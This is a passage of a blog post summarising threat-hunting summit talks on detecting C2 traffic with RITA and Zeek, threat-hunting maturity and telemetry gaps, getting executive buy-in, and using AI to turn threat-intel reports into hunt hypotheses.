<li class=""><strong>Zui (formerly Brim):</strong> Drag and drop your <code>.pcap</code> file directly into the Zui UI, and it automatically converts it into Zeek logs.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-behavioral-analysis-with-rita">3. Behavioral Analysis with RITA<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#3-behavioral-analysis-with-rita" class="hash-link" aria-label="Direct link to 3. Behavioral Analysis with RITA" title="Direct link to 3. Behavioral Analysis with RITA" translate="no">​</a></h4>
<ul>
<li class="">RITA is best run in Docker.</li>
<li class="">Import your Zeek logs into RITA to identify malicious behaviors like beacons or long connections, and export the results.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-querying-the-data-zed-lake">4. Querying the Data (Zed Lake)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#4-querying-the-data-zed-lake" class="hash-link" aria-label="Direct link to 4. Querying the Data (Zed Lake)" title="Direct link to 4. Querying the Data (Zed Lake)" translate="no">​</a></h4>
<ul>
<li class="">Import your Zeek logs and RITA output into a Zed Lake (using Zui).</li>
<li class="">Run queries to identify top talkers, longest connections, rare ports, and potential beacons.</li>
<li class=""><strong>Pro-tip:</strong> Use Generative AI (like Claude) to learn the Zeek/RITA schema and write the queries for you!</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="talk-3-threat-hunting-with-rita-a-behavioral-analysis-of-c2-traffic-by-hermon-kidane">Talk 3: "Threat Hunting with RITA: A Behavioral Analysis of C2 Traffic" by Hermon Kidane<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#talk-3-threat-hunting-with-rita-a-behavioral-analysis-of-c2-traffic-by-hermon-kidane" class="hash-link" aria-label="Direct link to Talk 3: &quot;Threat Hunting with RITA: A Behavioral Analysis of C2 Traffic&quot; by Hermon Kidane" title="Direct link to Talk 3: &quot;Threat Hunting with RITA: A Behavioral Analysis of C2 Traffic&quot; by Hermon Kidane" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-4">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-4" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>Hermon starts the talk by referring to the <em>Pyramid of Pain</em>.
As we all know, the top layer of the Pyramid of Pain is <strong>TTPs</strong>, as it is the most difficult IOC to change for an attacker.
TTPs = Behaviors of a threat actor.
So tracking down these behaviors makes our threat intelligence a lot better, and this is exactly where RITA comes in.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="rita-real-intelligence-threat-analytics">RITA (Real Intelligence Threat Analytics)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#rita-real-intelligence-threat-analytics" class="hash-link" aria-label="Direct link to RITA (Real Intelligence Threat Analytics)" title="Direct link to RITA (Real Intelligence Threat Analytics)" translate="no">​</a></h3>
<ul>
<li class="">It is an open-source framework for detecting command and control communication through network traffic analysis.</li>
<li class="">The RITA framework ingests Zeek logs in TSV or JSON format, or PCAPs converted to Zeek logs for analysis.</li>
<li class="">It is developed by <em>Active Countermeasures</em>.</li>
<li class="">The analysis detects various behaviors:
<ul>
<li class="">Beaconing</li>
<li class="">Long Connections</li>
<li class="">DNS Tunneling</li>
<li class="">Threat Intel</li>
</ul>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-feed-zeek-logs-to-rita">How to feed Zeek logs to RITA<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#how-to-feed-zeek-logs-to-rita" class="hash-link" aria-label="Direct link to How to feed Zeek logs to RITA" title="Direct link to How to feed Zeek logs to RITA" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="manual-way">Manual Way<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#manual-way" class="hash-link" aria-label="Direct link to Manual Way" title="Direct link to Manual Way" translate="no">​</a></h4>
<ul>
<li class="">Convert the PCAP file or network capture that you have to Zeek logs.</li>
<li class="">Then feed it to RITA.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="for-automatedcontinuous-monitoring">For automated/continuous monitoring<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#for-automatedcontinuous-monitoring" class="hash-link" aria-label="Direct link to For automated/continuous monitoring" title="Direct link to For automated/continuous monitoring" translate="no">​</a></h4>
<ul>
<li class="">Place a Zeek network sensor.</li>
<li class="">Feed that data to RITA.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="cli-tools-for-threat-hunting">CLI Tools for Threat Hunting<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#cli-tools-for-threat-hunting" class="hash-link" aria-label="Direct link to CLI Tools for Threat Hunting" title="Direct link to CLI Tools for Threat Hunting" translate="no">​</a></h3>
<p>When analyzing Zeek logs, there are a few command-line tools that come in handy:</p>
<ul>
<li class=""><code>zeek-cut</code>, <code>grep</code>, <code>awk</code></li>
<li class=""><strong>Threat Hunting Toolkit:</strong> Developed by <em>Ethan Robish</em> (BHIS). This toolkit is extremely useful as it standardizes interactions with different Zeek log formats (JSON/TSV) and provides great analysis scripts.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyzing-beacons">Analyzing Beacons<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#analyzing-beacons" class="hash-link" aria-label="Direct link to Analyzing Beacons" title="Direct link to Analyzing Beacons" translate="no">​</a></h3>
<p>Beacons are persistent, regular callbacks from a compromised machine (victim) to the attacker's Command and Control (C2) server.</p>
<ul>
<li class="">The victim repeatedly asks, <em>"Do you have any jobs for me?"</em></li>
<li class="">Often, the C2 server says <em>"Go back to sleep"</em>, but occasionally it will send instructions (e.g., run <code>whoami</code>).</li>
<li class="">Even when attackers mix in jitter (randomized timing), the traffic maintains a <mark>recognizable, regular cadence</mark> that cannot be easily masked on the network.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="using-rita-to-hunt">Using RITA to Hunt<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#using-rita-to-hunt" class="hash-link" aria-label="Direct link to Using RITA to Hunt" title="Direct link to Using RITA to Hunt" translate="no">​</a></h3>
<p>Hermon demonstrated the practical steps for analyzing this traffic using RITA's CLI interface. If you're ever unsure of what to do, running <code>rita</code> by itself provides a helpful list of available commands.</p>
<ol>
<li class=""><strong>Importing Data:</strong> Use <code>rita import --database=&lt;database_name&gt; --logs=&lt;path_to_logs&gt;</code> to ingest the Zeek logs.</li>
<li class=""><strong>Listing Databases:</strong> Use <code>rita list</code></li>
<li class=""><strong>Viewing Results:</strong> Use <code>rita view &lt;database_name&gt;</code> to explore the analyzed data.</li>
</ol>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="key-rita-columns">Key RITA Columns<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#key-rita-columns" class="hash-link" aria-label="Direct link to Key RITA Columns" title="Direct link to Key RITA Columns" translate="no">​</a></h4>
<p>When viewing the data, RITA provides a table sorted by severity, containing several insightful columns:</p>
<ul>
<li class=""><strong>Severity:</strong> RITA calculates how malicious a connection is in the backend (Critical, High, Medium, Low).</li>
<li class=""><strong>Source Address:</strong> The internal host that is communicating outward.</li>
<li class=""><strong>Destination Address:</strong> The external domain/IP being contacted.</li>
<li class=""><strong>Beacon:</strong> The beacon score (indicating how regular and beacon-like the communication is).</li>
<li class=""><strong>Duration:</strong> Helpful for spotting long, persistent connections (another common malware behavior).</li>
<li class=""><strong>Subdomains:</strong> Indicates how many subdomains a top-level domain had in the logs. This is crucial for detecting <mark>DNS Tunneling</mark> (C2 over DNS).</li>
<li class=""><strong>Threat Intel:</strong> Flags domains matching any configured threat intelligence feeds.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="dns-tunneling">DNS Tunneling<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#dns-tunneling" class="hash-link" aria-label="Direct link to DNS Tunneling" title="Direct link to DNS Tunneling" translate="no">​</a></h3>
<ul>
<li class=""><strong>Concept:</strong> DNS Tunneling encapsulates C2 traffic or data exfiltration within DNS queries and responses.</li>
<li class="">Attackers use randomly generated subdomains to bypass perimeter defenses since DNS traffic is rarely blocked.</li>
<li class="">RITA detects this by analyzing the sheer volume of unique subdomains queried for a specific top-level domain.</li>
<li class="">A high subdomain count (e.g., thousands of queries to <code>*.malicious.com</code>) is a strong indicator of DNS tunneling.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="threat-modifiers--correlation">Threat Modifiers &amp; Correlation<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#threat-modifiers--correlation" class="hash-link" aria-label="Direct link to Threat Modifiers &amp; Correlation" title="Direct link to Threat Modifiers &amp; Correlation" translate="no">​</a></h3>
<ul>
<li class="">RITA's extracted logs and signatures can be correlated with external Threat Intelligence platforms to level up your hunting.</li>
<li class="">By looking at specific threat modifiers, you can spot anomalies that stand out against known malicious patterns:
<ul>
<li class=""><strong>Prevalence:</strong> Frequency of occurrence.</li>
<li class=""><strong>First Seen:</strong> Identifying if a beacon is brand new vs. something seen 6 months ago.</li>
<li class=""><strong>Rare Signatures:</strong> Looking for unusual JA3 hashes or User-Agent strings.</li>
<li class=""><strong>URI Mismatch.</strong></li>
</ul>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="network-threat-hunting-to-find-security-gaps">Network Threat Hunting to Find Security Gaps<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#network-threat-hunting-to-find-security-gaps" class="hash-link" aria-label="Direct link to Network Threat Hunting to Find Security Gaps" title="Direct link to Network Threat Hunting to Find Security Gaps" translate="no">​</a></h3>
<p>Threat hunting doesn't always yield a malicious C2 server; in fact, most connections are benign. However, network hunting is incredibly valuable for identifying security gaps, maintaining inventory, and baselining.</p>
<p><strong>Finding Poor Security Configs:</strong></p>
<ul>
<li class="">Spotting cleartext passwords or unencrypted sensitive information.</li>
<li class="">Identifying IoT devices calling out to weird update servers.</li>
<li class="">Detecting internal scanning or probes.</li>
<li class="">Misconfigurations like Kerberos or SMB traffic being sent out to a public address (once identified, we can harden our systems!).</li>
<li class="">Performance issues caused by configs making every internal host send wrong service packets outbound.</li>
</ul>
<p><strong>Inventory &amp; Shadow IT:</strong></p>
<ul>
<li class="">Network hunting can uncover Shadow IT, such as RMM (Remote Monitoring &amp; Management) tools running that you never use in your org.</li>
<li class="">The network is a great way to build your hardware and software inventory.</li>
<li class="">It provides visibility into IoT, embedded systems, and other network devices that might not even support EDR agents.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="general-takeaways">General Takeaways<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#general-takeaways" class="hash-link" aria-label="Direct link to General Takeaways" title="Direct link to General Takeaways" translate="no">​</a></h3>
<ul>
<li class="">Network threat hunting is about finding <mark>anomalies in behaviors</mark>, not just relying on static signatures.</li>
<li class="">Tools like RITA simplify this by abstracting raw packets into actionable connection summaries.</li>
<li class="">Regularly reviewing RITA's output helps build a baseline of "normal" for your network, making malicious behavior and security gaps stand out faster.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="talk-4-threat-hunting-in-the-dark-a-practical-approach-by-shane-hartman">Talk 4: "Threat Hunting in the Dark: A Practical Approach" by Shane Hartman<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#talk-4-threat-hunting-in-the-dark-a-practical-approach-by-shane-hartman" class="hash-link" aria-label="Direct link to Talk 4: &quot;Threat Hunting in the Dark: A Practical Approach&quot; by Shane Hartman" title="Direct link to Talk 4: &quot;Threat Hunting in the Dark: A Practical Approach&quot; by Shane Hartman" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-finding-bad-doesnt-work">Why "Finding BAD" Doesn't Work<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#why-finding-bad-doesnt-work" class="hash-link" aria-label="Direct link to Why &quot;Finding BAD&quot; Doesn't Work" title="Direct link to Why &quot;Finding BAD&quot; Doesn't Work" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-missing-context-and-focus">The Missing Context and Focus<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-missing-context-and-focus" class="hash-link" aria-label="Direct link to The Missing Context and Focus" title="Direct link to The Missing Context and Focus" translate="no">​</a></h4>
<p>Many organizations start their threat hunting programs with the vague objective of "finding bad," as the managers are not technical and don't know how to put this up, so the threat hunters have questions in mind like -</p>
<ul>
<li class="">What does finding "bad" actually mean?</li>
<li class="">Are you trying to find an active attacker, confirm an existing breach, or just identify employees behaving badly?</li>
</ul>
<p>It also lacks focus, leaving teams unsure if they should concentrate their attention on infrastructure, the perimeter, services, or the cloud.</p>
<ul>
<li class="">Finally, it fails to define success; if we find bad, is that now considered an incident?</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-no-win-situation">The "No-Win" Situation<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-no-win-situation" class="hash-link" aria-label="Direct link to The &quot;No-Win&quot; Situation" title="Direct link to The &quot;No-Win&quot; Situation" translate="no">​</a></h3>
<p>Hartman points out that building a program solely to look for "bad" creates a literal <mark>"no-win situation"</mark> for the security team:</p>
<ul>
<li class=""><strong>If you do find bad:</strong> You now have an active incident on your hands. The organization has to immediately address the situation, which requires time, resources, and often causes business disruption.</li>
<li class=""><strong>If you don't find bad:</strong> You are left empty-handed when asked to prove the value of your time. Simply showing your manager a list of cool technical queries you ran does not demonstrate Return on Investment (ROI) or justify the hunting program's ongoing budget.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-do-you-start">Where Do You Start?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#where-do-you-start" class="hash-link" aria-label="Direct link to Where Do You Start?" title="Direct link to Where Do You Start?" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="types-of-threat-hunts">Types of Threat Hunts<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#types-of-threat-hunts" class="hash-link" aria-label="Direct link to Types of Threat Hunts" title="Direct link to Types of Threat Hunts" translate="no">​</a></h4>
<p>Threat hunting is primarily a proactive activity used to identify threats that may have evaded detection. However, hunts can take several different forms:</p>
<ul>
<li class=""><strong>Reactive:</strong> Acting upon specific information, such as Threat Intel or Indicators of Compromise (IoCs).</li>
<li class=""><strong>Telemetry / Posture:</strong> Hunts based on the environment itself, often referred to as <em>"watching the watchers"</em>.</li>
<li class=""><strong>Proactive:</strong> Hypothesis-driven hunts exploring "what if" scenarios and how an attack would function.</li>
<li class=""><strong>Retro-Hunts:</strong> The process of repeating a previous hunt.</li>
<li class="">You can also use a Threat Hunting framework.</li>
</ul>
<blockquote>
<p><em>The ultimate goal of threat hunting is to <mark>improve the overall security posture</mark> of the organization.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-threat-hunting-maturity-model-where-are-you">The Threat Hunting Maturity Model: Where Are You?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-threat-hunting-maturity-model-where-are-you" class="hash-link" aria-label="Direct link to The Threat Hunting Maturity Model: Where Are You?" title="Direct link to The Threat Hunting Maturity Model: Where Are You?" translate="no">​</a></h3>
<p>Before diving into specific telemetry or posture hunts, it helps to understand your current operational level. Referencing a framework created by <em>David Bianco</em>, Hartman outlines five tiers of threat hunting maturity:</p>
<ul>
<li class=""><strong>Tier 0 (Initial):</strong> Relies primarily on automated alerting. There is little or no routine data collection.</li>
<li class=""><strong>Tier 1 (Minimal):</strong> Incorporates threat intelligence IOC searches. Features a moderate to high level of data collection.</li>
<li class=""><strong>Tier 2 (Procedural):</strong> Follows analysis procedures created by others. Maintains high or very high data collection.</li>
<li class=""><strong>Tier 3 (Innovative):</strong> Creates new data analysis procedures. High or very high data collection. At this stage, teams are producing real, actionable analysis.</li>
<li class=""><strong>Tier 4 (Leading):</strong> Automates the majority of successful analysis procedures.</li>
</ul>
<p>Hartman noted that most organizations are currently sitting in tiers 0, 1, or 2, or a hybrid of those levels. In these early stages, teams might merely use EDR to pick up IOCs or centralize logs without actively reviewing them unless an alert triggers. They lack a formalized structure.</p>
<p>The goal is to transition out of the initial procedural stages and into the <em>"Innovative"</em> and <em>"Leading"</em> tiers. Reaching this maturity allows threat hunting to become automated and highly useful to other departments, such as the SOC, Red Team, Detection Engineering, and Cyber Threat Intelligence (CTI). For example, if CTI reports a new vulnerability, a leading program can simply qualify that they have already searched for and mitigated the issue, rather than having to spin up a reactionary, ad-hoc threat hunt.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="telemetry-and-posture-hunting">Telemetry and Posture Hunting<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#telemetry-and-posture-hunting" class="hash-link" aria-label="Direct link to Telemetry and Posture Hunting" title="Direct link to Telemetry and Posture Hunting" translate="no">​</a></h3>
<p>These hunts start out with a foundational question: <mark>"How do we know what we know?"</mark>. IT might assure us that EDR is fully deployed, all assets are known, and subnets are documented. We might believe we know what our cloud environments look like and that our logs are perfectly centralized. However, asking the question might reveal that Linux or Mac logs are missing entirely. If you don't ask the question, you will never realize there is a gap you cannot see into.</p>
<p>You must also ensure coverage across perimeters, firewalls, and third-party VPNs, as you never know where a threat group might pivot. You need to have the telemetry data first before you can actually hunt for threats.</p>
<p>The most practical approach is to assume there are gaps and actively hunt for them to validate these claims. A critical outcome of finding a gap is feeding that information back into the threat hunt process to answer what might not have been seen while the gap was in place.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-do-i-know-i-have-full-edr-coverage">How Do I Know I Have Full EDR Coverage?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#how-do-i-know-i-have-full-edr-coverage" class="hash-link" aria-label="Direct link to How Do I Know I Have Full EDR Coverage?" title="Direct link to How Do I Know I Have Full EDR Coverage?" translate="no">​</a></h4>
<p>A practical example of "watching the watchers" is verifying your EDR deployment. Hartman provided a mathematical breakdown for this simple telemetry hunt:</p>
<ul>
<li class="">Get the number of end points covered – <code>X</code> .</li>
<li class="">Query inventory system (a control system based on process) – <code>Y1</code>.</li>
<li class="">Query Active directory (an authentication system) – <code>Y2</code>.</li>
<li class="">Query IP Space in Use (the physical network space) – <code>Y3</code>.</li>
<li class="">Remove non-endpoint compliant devices – ie. Routers.</li>
<li class=""><code>(X - Y1)</code> – Diff in Inventory system.</li>
<li class=""><code>(X - Y2)</code> – Diff in AD.</li>
<li class=""><code>(X - Y3)</code> – Diff in IP Space.</li>
</ul>
<p>Any discrepancies reveal clear gaps in telemetry. When you work to close these gaps and bring the numbers closer to zero, this gap closure can be reported to leadership as a <mark>reduction in exposure</mark>.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="other-questions--hunts">Other Questions / Hunts<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#other-questions--hunts" class="hash-link" aria-label="Direct link to Other Questions / Hunts" title="Direct link to Other Questions / Hunts" translate="no">​</a></h4>
<p>There are numerous other simple questions you can ask to confirm the correct data is collected:</p>
<ul>
<li class=""><strong>Network Space:</strong> How much of your static IP space is occupied? This is where your server or core infrastructure often lives. Would you know if a new system showed up or if one was decommissioned?</li>
<li class=""><strong>Log Review:</strong> Do you collect PowerShell logs? If so, what kind of information can you garner from them? Can you review and hunt DNS Logs?</li>
<li class=""><strong>Software Inventory:</strong> How many versions of Java are in the environment? Do you have Remote Management (RMM) tools like TeamViewer or ScreenConnect that attackers leverage to get into networks?</li>
<li class=""><strong>Account Management:</strong> Are service accounts staying within the designated areas? Do you even have an inventory of service accounts to know where they are supposed to be?</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="focusing-on-the-crown-jewels">Focusing on the Crown Jewels<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#focusing-on-the-crown-jewels" class="hash-link" aria-label="Direct link to Focusing on the Crown Jewels" title="Direct link to Focusing on the Crown Jewels" translate="no">​</a></h4>
<p>A significant portion of your hunting emphasis should lie with the organization's <strong>"Crown Jewels"</strong>. Identifying these assets relies on asset management, Business Impact Analysis, Business Continuity Plans, and Disaster Recovery procedures. These critical assets could include employee and client information, HR data, proprietary information, and core web applications. Hunters need to define the specific threats targeting these assets, understand what would happen if they were compromised, and develop hunts to address these specific hypotheses.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="proactive-threat-hunting-approaches">Proactive Threat Hunting Approaches<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#proactive-threat-hunting-approaches" class="hash-link" aria-label="Direct link to Proactive Threat Hunting Approaches" title="Direct link to Proactive Threat Hunting Approaches" translate="no">​</a></h3>
<p>When shifting into proactive hunting, there are four primary methodologies you can leverage:</p>
<ul>
<li class=""><strong>Hypothesis Driven:</strong> Grounded in organizational reality, this involves identifying the most likely attack vectors for your specific industry and mapping them back to MITRE ATT&amp;CK techniques (e.g., hunting for persistence via scheduled tasks under T1053).</li>
<li class=""><strong>Intelligence Driven:</strong> This relies on details gathered from news feeds, articles, and intelligence sources. Hunters must determine if the intelligence is relevant to their organization, gather the TTPs, IoCs, and IOAs, and then build the hunt.</li>
<li class=""><strong>Anomaly-Based:</strong> Looking for deviations from normal baselines that may or may not appear as statistics. Examples include users running LOLBins, executing large outbound data transfers, or attempting privileged cloud API calls.</li>
<li class=""><strong>Analytics Driven:</strong> Driven primarily by statistical data and machine learning patterns. Examples include spotting DNS tunneling, long-lived cloud credential creation, or the use of limited/unusual protocols.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="securing-the-bag-executive-buy-in">Securing the Bag: Executive Buy-In<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#securing-the-bag-executive-buy-in" class="hash-link" aria-label="Direct link to Securing the Bag: Executive Buy-In" title="Direct link to Securing the Bag: Executive Buy-In" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="translating-tech-to-business-value">Translating Tech to Business Value<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#translating-tech-to-business-value" class="hash-link" aria-label="Direct link to Translating Tech to Business Value" title="Direct link to Translating Tech to Business Value" translate="no">​</a></h4>
<p>A crucial realization for the longevity of any hunting program is that <mark>executives do not fund "cool technical queries"</mark>.</p>
<ul>
<li class="">They are interested in funding <strong>risk reduction</strong>, <strong>cost avoidance</strong>, <strong>operational resilience</strong>, and <strong>board/shareholder equity</strong>.</li>
<li class="">Conversely, they want to avoid reputational damage, liability exposure, regulatory/compliance violations, and business disruption.</li>
</ul>
<p>To secure buy-in, you must speak their language and translate technical findings into tangible business value:</p>
<ul>
<li class=""><strong>The Risk Reduction Frame:</strong> Move away from saying <em>"We searched for T1078."</em> Instead, explain that you verified and closed detection blind spots across 40% of the cloud credential access techniques used by active threat groups this quarter.</li>
<li class=""><strong>The Cost Avoidance Frame:</strong> Highlight that the global average cost of a data breach sits north of <strong>$4.4M</strong>, with an average containment lifecycle of <strong>200+ days</strong>. Show how proactive hunting directly shrinks the Mean Time to Detect (MTTD), catching the attacker before lateral movement and ransomware deployment.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="metrics-leadership-actually-cares-about">Metrics Leadership Actually Cares About<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#metrics-leadership-actually-cares-about" class="hash-link" aria-label="Direct link to Metrics Leadership Actually Cares About" title="Direct link to Metrics Leadership Actually Cares About" translate="no">​</a></h3>
<ul>
<li class=""><strong>Mean Time to Detect (MTTD)</strong></li>
<li class=""><strong>Mean Time to Respond (MTTR)</strong></li>
<li class=""><strong>False Positive Reduction:</strong> Showing how hunt findings are refined to reduce noise, creating analyst capacity back for the SOC.</li>
<li class=""><strong>ATT&amp;CK Coverage Delta:</strong> The percentage increase in validated detection coverage over time.</li>
<li class=""><strong>Data Source Health:</strong> The identification of blind spots before an incident actually occurs.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-pitfalls-and-key-takeaways">Common Pitfalls and Key Takeaways<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#common-pitfalls-and-key-takeaways" class="hash-link" aria-label="Direct link to Common Pitfalls and Key Takeaways" title="Direct link to Common Pitfalls and Key Takeaways" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="pitfalls-to-avoid">Pitfalls to Avoid<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#pitfalls-to-avoid" class="hash-link" aria-label="Direct link to Pitfalls to Avoid" title="Direct link to Pitfalls to Avoid" translate="no">​</a></h4>
<ul>
<li class="">Executing generic or simple hunts that don't reflect your actual threat landscape or are already primarily covered by EDR alerting.</li>
<li class="">Missing key stakeholders with interest and buy-in.</li>
<li class="">Failing to mature the program over time.</li>
<li class="">Over-relying strictly on IoCs and ignoring operational baselines or environmental context.</li>
<li class="">Treating hunts as one-time events rather than an ongoing program.</li>
<li class="">As noted in the presentation, a poorly executed threat hunt becomes a checkbox exercise where nothing is gained, and nothing is learned.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="key-takeaways">Key Takeaways<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#key-takeaways" class="hash-link" aria-label="Direct link to Key Takeaways" title="Direct link to Key Takeaways" translate="no">​</a></h4>
<ul>
<li class="">Ground every single scenario in your real threat landscape.</li>
<li class="">Define SMART objectives before developing a hunt.</li>
<li class="">The overarching goal is to elevate the security posture and awareness.</li>
<li class="">Keep track of your hunts and meticulously document the output.</li>
<li class="">Always be looking for ways to automate and mature the program.</li>
<li class="">Remember the core management principle: <mark>The overarching goal is to improve your security posture, not chase unicorns.</mark></li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="talk-5-fast-track-reports-into-ready-made-hypotheses-with-ai-by-lauren-proehl">Talk 5: "Fast-track Reports into Ready-Made Hypotheses with AI" by Lauren Proehl<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#talk-5-fast-track-reports-into-ready-made-hypotheses-with-ai-by-lauren-proehl" class="hash-link" aria-label="Direct link to Talk 5: &quot;Fast-track Reports into Ready-Made Hypotheses with AI&quot; by Lauren Proehl" title="Direct link to Talk 5: &quot;Fast-track Reports into Ready-Made Hypotheses with AI&quot; by Lauren Proehl" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-5">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-5" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>The talk focuses on the challenge of converting Threat Intelligence (TI) reports into actionable hypotheses. The core problem is that many TI reports just sit in email inboxes or Slack channels due to sheer volume and lack of prioritization. Lauren emphasizes <em>"intel-driven hunting,"</em> comparing it to a bank in Chicago that shouldn't hunt for malware targeting North Korean grocery stores. Threat hunters need to extract behaviors and connect the dots to create testable hypotheses, which is the first step toward using AI effectively.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-4-part-contract-the-steps">The 4-Part Contract (The Steps)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-4-part-contract-the-steps" class="hash-link" aria-label="Direct link to The 4-Part Contract (The Steps)" title="Direct link to The 4-Part Contract (The Steps)" translate="no">​</a></h3>
<p>Lauren created a contract to ensure that an intelligence report becomes a structured and testable hypothesis, not just a summary or a list of IOCs. <mark>If the model can't fill all details, the hunt doesn't exist</mark> and needs more work. The process includes four non-negotiable steps for every report:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-1-extract-tradecraft-drop-the-noise">Step 1: Extract Tradecraft, Drop the Noise<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#step-1-extract-tradecraft-drop-the-noise" class="hash-link" aria-label="Direct link to Step 1: Extract Tradecraft, Drop the Noise" title="Direct link to Step 1: Extract Tradecraft, Drop the Noise" translate="no">​</a></h4>
<p>The first step focuses on pulling out behaviors and sequences while dropping volatile indicators.</p>
<ul>
<li class=""><strong>Keep:</strong> Process lineage &amp; command-line patterns, persistence, C2, lateral movement, cred access, discovery, evasion, impact. Every variant (e.g., 3 C2 transports = 3 hunts).</li>
<li class=""><strong>Drop:</strong> Hashes and single-use file names, rotating TryCloudflare subdomains, decoy domains, and anything that changes in the next intrusion (unless relevant to behavior context, like exfiltration to Google Drive).</li>
</ul>
<blockquote>
<p><strong>The Prompt That Does It:</strong>
<em>"From the report below, extract EVERY distinct behavior across the whole intrusion: process lineage, LOLBins, persistence, C2 technique, lateral movement, cred access, discovery, defense evasion, impact. List each variant — don't collapse them. IGNORE hashes, IPs, and single-use domains. Tag each with its kill-chain phase and the actual command / path. End with a count so nothing drops downstream."</em></p>
</blockquote>
